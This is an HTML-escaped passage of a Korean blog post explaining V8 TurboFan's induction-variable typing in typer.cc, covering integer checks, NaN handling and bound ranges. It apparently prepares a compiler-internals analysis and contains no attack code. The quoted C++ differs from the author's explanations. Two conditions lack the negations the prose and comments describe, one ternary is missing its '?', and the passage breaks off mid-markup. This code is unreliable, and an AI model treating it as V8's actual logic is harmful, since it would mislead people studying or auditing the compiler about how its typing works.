&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;for&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;=&lt;span style=&quot;color: #9cdcfe;&quot;&gt;initial&lt;/span&gt;&amp;nbsp;;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;&amp;lt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;end&lt;/span&gt;&amp;nbsp;;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;+=&lt;span style=&quot;color: #9cdcfe;&quot;&gt;increment&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;...&lt;br /&gt;}&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 때 초기값 initial 과 증가/감소량 increment 가 모두 정수 타입이라면 최적화를 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;857&lt;br /&gt;858&lt;br /&gt;859&lt;br /&gt;860&lt;br /&gt;861&lt;br /&gt;862&lt;br /&gt;863&lt;br /&gt;864&lt;br /&gt;865&lt;br /&gt;866&lt;br /&gt;867&lt;br /&gt;868&lt;br /&gt;869&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;const&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;bool&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;both_types_integer&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;initial_type&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;Is&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;typer_&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cache_&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;kInteger&lt;/span&gt;)&amp;nbsp;&amp;amp;&amp;amp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;increment_type&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;Is&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;typer_&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cache_&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;kInteger&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;bool&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;maybe_nan&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;false&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;The&amp;nbsp;addition&amp;nbsp;or&amp;nbsp;subtraction&amp;nbsp;could&amp;nbsp;still&amp;nbsp;produce&amp;nbsp;a&amp;nbsp;NaN,&amp;nbsp;if&amp;nbsp;the&amp;nbsp;integer&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;ranges&amp;nbsp;touch&amp;nbsp;infinity.&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;both_types_integer&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;Type&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;resultant_type&lt;/span&gt;&amp;nbsp;=&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;arithmetic_type&lt;/span&gt;&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;InductionVariable&lt;/span&gt;::&lt;span style=&quot;color: #4ec9b0;&quot;&gt;ArithmeticType&lt;/span&gt;::&lt;span style=&quot;color: #4fc1ff;&quot;&gt;kAddition&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;?&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;typer_&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;operation_typer&lt;/span&gt;()-&amp;gt;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;NumberAdd&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;initial_type&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;increment_type&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;typer_&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;operation_typer&lt;/span&gt;()-&amp;gt;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;NumberSubtract&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;initial_type&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;increment_type&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;maybe_nan&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;resultant_type&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;Maybe&lt;/span&gt;(&lt;span style=&quot;color: #4ec9b0;&quot;&gt;Type&lt;/span&gt;::&lt;span style=&quot;color: #dcdcaa;&quot;&gt;NaN&lt;/span&gt;());&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;/div&gt;
&lt;div style=&quot;position: absolute; bottom: 2px; right: 8px; font-style: italic; font-size: 12px; color: white;&quot;&gt;/src/compiler/typer.cc&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;initial&lt;/code&gt; 과 &lt;code&gt;increment&lt;/code&gt; 의 타입이 모두 kInteger 라면 &lt;code&gt;both_types_integer&lt;/code&gt; 의 값은 true가 된다. 하지만 루프가 끝났을 때 &lt;code&gt;i&lt;/code&gt; 가 정수라고 장담할 수는 없는데, 왜냐하면 &lt;code&gt;initial&lt;/code&gt; 이 -Infinity 이고 &lt;code&gt;increment&lt;/code&gt; 가 Infinity 인 경우 &lt;code&gt;i&lt;/code&gt; 는 NaN이 되기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 때문에, 결과값의 타입이 NaN인지 검사하는 로직이 존재한다. &lt;code&gt;resultant_type&lt;/code&gt; 의 set 을 구하고, 해당 set 에 NaN이 포함되는지 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;871&lt;br /&gt;872&lt;br /&gt;873&lt;br /&gt;874&lt;br /&gt;875&lt;br /&gt;876&lt;br /&gt;877&lt;br /&gt;878&lt;br /&gt;879&lt;br /&gt;880&lt;br /&gt;881&lt;br /&gt;882&lt;br /&gt;883&lt;br /&gt;884&lt;br /&gt;885&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;We&amp;nbsp;only&amp;nbsp;handle&amp;nbsp;integer&amp;nbsp;induction&amp;nbsp;variables&amp;nbsp;(otherwise&amp;nbsp;ranges&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;do&amp;nbsp;not&amp;nbsp;apply&amp;nbsp;and&amp;nbsp;we&amp;nbsp;cannot&amp;nbsp;do&amp;nbsp;anything).&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;both_types_integer&lt;/span&gt;&amp;nbsp;||&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;maybe_nan&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;Fallback&amp;nbsp;to&amp;nbsp;normal&amp;nbsp;phi&amp;nbsp;typing,&amp;nbsp;but&amp;nbsp;ensure&amp;nbsp;monotonicity.&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;(Unforretunately,&amp;nbsp;without&amp;nbsp;baking&amp;nbsp;in&amp;nbsp;the&amp;nbsp;previous&amp;nbsp;type,&amp;nbsp;monotonicity&amp;nbsp;might&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;be&amp;nbsp;violated&amp;nbsp;because&amp;nbsp;we&amp;nbsp;might&amp;nbsp;not&amp;nbsp;yet&amp;nbsp;have&amp;nbsp;retyped&amp;nbsp;the&amp;nbsp;incrementing&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;operation&amp;nbsp;even&amp;nbsp;though&amp;nbsp;the&amp;nbsp;increments&amp;nbsp;type&amp;nbsp;might&amp;nbsp;been&amp;nbsp;already&amp;nbsp;reflected&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;in&amp;nbsp;the&amp;nbsp;induction&amp;nbsp;variable&amp;nbsp;phi.)&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;Type&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;type&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;NodeProperties&lt;/span&gt;::&lt;span style=&quot;color: #dcdcaa;&quot;&gt;IsTyped&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;node&lt;/span&gt;)&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;NodeProperties&lt;/span&gt;::&lt;span style=&quot;color: #dcdcaa;&quot;&gt;GetType&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;node&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;Type&lt;/span&gt;::&lt;span style=&quot;color: #dcdcaa;&quot;&gt;None&lt;/span&gt;();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;for&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;&amp;nbsp;&amp;lt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;arity&lt;/span&gt;;&amp;nbsp;++&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;type&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;Type&lt;/span&gt;::&lt;span style=&quot;color: #dcdcaa;&quot;&gt;Union&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;type&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;Operand&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;node&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;),&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;zone&lt;/span&gt;());&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;type&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;/div&gt;
&lt;div style=&quot;position: absolute; bottom: 2px; right: 8px; font-style: italic; font-size: 12px; color: white;&quot;&gt;/src/compiler/typer.cc&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;(unforretunately는 오타일까?)&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 &lt;code&gt;initial&lt;/code&gt; 과 &lt;code&gt;increment&lt;/code&gt; 의 타입이 정수가 아니거나, 결과값이 NaN이 될 수 있는 가능성이 존재하는 경우 range를 계산할 수 없기 때문에 &lt;code&gt;node&lt;/code&gt; 의 모든 피연산자의 타입을 합쳐서 리턴한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;886&lt;br /&gt;887&lt;br /&gt;888&lt;br /&gt;889&lt;br /&gt;890&lt;br /&gt;891&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;If&amp;nbsp;we&amp;nbsp;do&amp;nbsp;not&amp;nbsp;have&amp;nbsp;enough&amp;nbsp;type&amp;nbsp;information&amp;nbsp;for&amp;nbsp;the&amp;nbsp;initial&amp;nbsp;value&amp;nbsp;or&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;the&amp;nbsp;increment,&amp;nbsp;just&amp;nbsp;return&amp;nbsp;the&amp;nbsp;initial&amp;nbsp;values&amp;nbsp;type.&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;initial_type&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;IsNone&lt;/span&gt;()&amp;nbsp;||&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;increment_type&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;Is&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;typer_&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cache_&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;kSingletonZero&lt;/span&gt;))&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;initial_type&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;/div&gt;
&lt;div style=&quot;position: absolute; bottom: 2px; right: 8px; font-style: italic; font-size: 12px; color: white;&quot;&gt;/src/compiler/typer.cc&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막으로 &lt;code&gt;initial_type&lt;/code&gt; 이 None 이거나 &lt;code&gt;increment_type&lt;/code&gt; 가 kSingletonZero, 즉 &lt;code&gt;increment&lt;/code&gt; 가 정확히 0인 경우 &lt;code&gt;initial_type&lt;/code&gt; 을 그냥 리턴한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;908&lt;br /&gt;909&lt;br /&gt;910&lt;br /&gt;911&lt;br /&gt;912&lt;br /&gt;913&lt;br /&gt;914&lt;br /&gt;915&lt;br /&gt;916&lt;br /&gt;917&lt;br /&gt;918&lt;br /&gt;919&lt;br /&gt;920&lt;br /&gt;921&lt;br /&gt;922&lt;br /&gt;923&lt;br /&gt;924&lt;br /&gt;925&lt;br /&gt;926&lt;br /&gt;927&lt;br /&gt;928&lt;br /&gt;929&lt;br /&gt;930&lt;br /&gt;931&lt;br /&gt;932&lt;br /&gt;933&lt;br /&gt;934&lt;br /&gt;935&lt;br /&gt;936&lt;br /&gt;937&lt;br /&gt;938&lt;br /&gt;939&lt;br /&gt;940&lt;br /&gt;941&lt;br /&gt;942&lt;br /&gt;943&lt;br /&gt;944&lt;br /&gt;945&lt;br /&gt;946&lt;br /&gt;947&lt;br /&gt;948&lt;br /&gt;949&lt;br /&gt;950&lt;br /&gt;951&lt;br /&gt;952&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;increment_min&lt;/span&gt;&amp;nbsp;&amp;gt;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;increasing&amp;nbsp;sequence&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;min&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;initial_type&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;Min&lt;/span&gt;();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;for&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #569cd6;&quot;&gt;auto&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bound&lt;/span&gt;&amp;nbsp;:&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;induction_var&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;upper_bounds&lt;/span&gt;())&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;Type&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bound_type&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;TypeOrNone&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bound&lt;/span&gt;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bound&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;If&amp;nbsp;the&amp;nbsp;type&amp;nbsp;is&amp;nbsp;not&amp;nbsp;an&amp;nbsp;integer,&amp;nbsp;just&amp;nbsp;skip&amp;nbsp;the&amp;nbsp;bound.&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bound_type&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;Is&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;typer_&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cache_&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;kInteger&lt;/span&gt;))&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;continue&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;If&amp;nbsp;the&amp;nbsp;type&amp;nbsp;is&amp;nbsp;not&amp;nbsp;inhabited,&amp;nbsp;then&amp;nbsp;we&amp;nbsp;can&amp;nbsp;take&amp;nbsp;the&amp;nbsp;initial&amp;nbsp;value.&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: 